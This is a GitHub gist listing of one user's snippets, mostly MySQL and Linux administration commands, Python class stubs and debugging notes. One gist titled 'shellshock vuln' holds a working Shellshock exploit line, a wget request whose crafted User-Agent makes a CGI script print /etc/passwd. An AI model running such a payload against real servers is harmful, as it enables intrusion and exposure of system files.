Skip to content

Instantly share code, notes, and snippets.

View ShahriyarR's full-sized avatar

Shahriyar Rzayev ShahriyarR

View GitHub Profile
@ShahriyarR
ShahriyarR / MySQL_usefull_commands
Last active August 29, 2015 14:03
MySQL related usefull tips and commands
# To kill sleeping connecions in MySQL # :
mysqladmin -u root --password=xxxx proc | grep Sleep | awk '{print $2}' | while read LINE; do mysqladmin -u root --password=xxxxx kill $LINE; done
# Every 1 second run this command to see overall Queries/Threads Connected / and running queries at this moment
mysqladmin ext -i1 -u root -p12345 | awk '/Queries/{q=$4-qp;qp=$4}
/Threads_connected/{tc=$4}
/Threads_running/{printf "%5d %5d %5d\n", q, tc, $4}'
x = [24, 25, 26, 32, 33, 41, 42, 43, 179, 180, 463, 464, 576, 577, 578, 579, 580, 581, 582, 583, 584, 585, 586, 587, 588, 589, 590, 701, 702, 1332, 1333, 2292, 2293, 2294, 2883, 2884, 3035, 3036, 3037, 3076, 3077, 3208, 3209, 3210, 3519, 3520, 3521, 3839, 3840, 3841, 3842, 3843, 3844, 3997, 3998, 4136, 4137, 4138, 4593, 4594, 4684, 4685, 6442, 6443, 6444, 6445, 6446, 6447, 8110, 8111, 8112, 8113, 8143, 8144, 8272, 8273, 8274, 8578, 8579]
t=[]
p=True
maxPeriod = []
for i in range(0,len(x)-1):
# Yoxlayiriq ki, eger reqemlerin ferqi 1-e beraberdirse TRUE qaytarsin.
@ShahriyarR
ShahriyarR / configuration
Last active August 29, 2015 14:06
configuration
domain zyxel.com
search zyxel.com
nameserver 192.168.1.1
nameserver 8.8.8.8
domain hg232f
search hg232f
nameserver 192.168.3.1
@ShahriyarR
ShahriyarR / sftp_connection.py
Last active August 29, 2015 14:06
SFTP Connection Class Using Paramiko
import paramiko
import os
import subprocess
class SFTPConnection:
"""
Class for SFTP Connection using Paramiko
"""
@ShahriyarR
ShahriyarR / cat_etc_passwd
Created September 26, 2014 11:43
shellshock vuln
wget -U "() { test;};echo \"Content-type: text/plain\"; echo; echo; /bin/cat /etc/passwd" http://192.168.1.88/cgi-bin/fuck.cgi
@ShahriyarR
ShahriyarR / linux_usefull_commands
Created December 1, 2014 12:46
Usefull Linux commands
# Shows CPU utilization by processes (the most 20):
ps -eo pcpu,pid,user,args | sort -k 1 -r | head -20
x=1; while [ $x = 1 ]; do process=`pgrep -u fake`; if [ $process ]; then x=0; fi; done; strace -o /home/fake/strace5.txt -vvtf -s 256 -p $process
BUILD MYSQL WITH DEBUG + VALGRIND!
Dependencies:
yum install ncurses ncurses-devel valgrind valgrind-devel openssl openssl-devel zlib zlib-devel
Cmake command:
cmake
-DCMAKE_INSTALL_PREFIX=/opt/mysql
@ShahriyarR
ShahriyarR / MySQL-QA-Episode-3-Notes
Last active August 29, 2015 14:24
MySQL-QA-Episode-3-Notes
From link -> https://www.percona.com/blog/2015/07/07/mysql-qa-episode-3-how-to-use-the-debugging-tool-gdb/
=======================================================================================================================================
1. GDB settings:
vim ~/.gdbinit
set trace-commands on
set pagination off
@ShahriyarR
ShahriyarR / binlog_to_txt.py
Created August 30, 2013 12:23
Output Binary log content to .txt file for parsing
import os
import subprocess
import shlex
import configparser
class BinlogToTxt:
def __init__(self,conf = 'datadir.conf'):
con = configparser.ConfigParser()
con.read(conf)